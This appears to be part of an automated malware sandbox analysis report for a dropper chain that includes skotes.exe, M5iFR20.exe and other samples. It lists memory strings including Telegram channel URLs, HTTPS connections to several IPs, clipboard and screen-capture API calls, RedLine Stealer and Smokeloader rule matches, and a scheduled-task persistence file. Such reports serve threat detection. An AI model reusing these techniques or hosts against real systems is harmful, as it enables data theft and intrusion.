Source: 6f79b29ee1.exe, 00000027.00000003.3014424827.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014280407.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014086036.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2960938667.0000000003A10000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2961216614.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 6f79b29ee1.exe, 00000027.00000003.2961216614.00000000039E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.000000000078C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/C
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2828288514.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/detct0r
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/detct0rC
Source: 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/detct0rd0wntgMozilla/5.0
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.000000000078C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/l
Source: 5799e5ec40.exe, 00000026.00000003.2872533838.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900

Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.10.31:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49979 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 9_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 9_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 9_2_00431BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

9_2_00431BB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000026.00000002.3076985915.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Binary is likely a compiled AutoIt script file

Source: M5iFR20.exe, 0000000A.00000000.2473210730.0000000000282000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a097d356-3
Source: M5iFR20.exe, 0000000A.00000000.2473210730.0000000000282000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_10e6d39d-5
Source: M5iFR20.exe, 0000001E.00000000.2682800040.0000000000F62000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_186088bf-d
Source: M5iFR20.exe, 0000001E.00000000.2682800040.0000000000F62000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_5cd8da5a-a
Source: 95025a00c8.exe, 0000002B.00000002.3070657538.0000000000152000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c33f7c67-7
Source: 95025a00c8.exe, 0000002B.00000002.3070657538.0000000000152000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7ed81789-c
Source: M5iFR20[1].exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c1cda2dd-f
Source: M5iFR20[1].exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4e51df7f-d
Source: M5iFR20.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ffc5f687-4
Source: M5iFR20.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_20e7aa13-e
Source: M5iFR20.exe.21.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_93478b04-7
Source: M5iFR20.exe.21.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0b69d8c6-5
Source: random[1].exe1.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_94a8365e-e
Source: random[1].exe1.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_49f34394-f
Source: 95025a00c8.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a33ec77e-7
Source: 95025a00c8.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c67bfb0d-7

PE file contains section with special chars

Source: yiDQb6GkBq.exe	Static PE information: section name:
Source: yiDQb6GkBq.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 87538ab999.exe.6.dr	Static PE information: section name:
Source: 87538ab999.exe.6.dr	Static PE information: section name: .idata
Source: 87538ab999.exe.6.dr	Static PE information: section name:

Writes or reads registry keys via WMI

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0072CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0072CB97

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006C8860	0_2_006C8860
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006C7049	0_2_006C7049
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006C78BB	0_2_006C78BB
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006C31A8	0_2_006C31A8
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_00797B6E	0_2_00797B6E
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_00684B30	0_2_00684B30
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006C2D10	0_2_006C2D10
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_00684DE0	0_2_00684DE0
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006B7F36	0_2_006B7F36
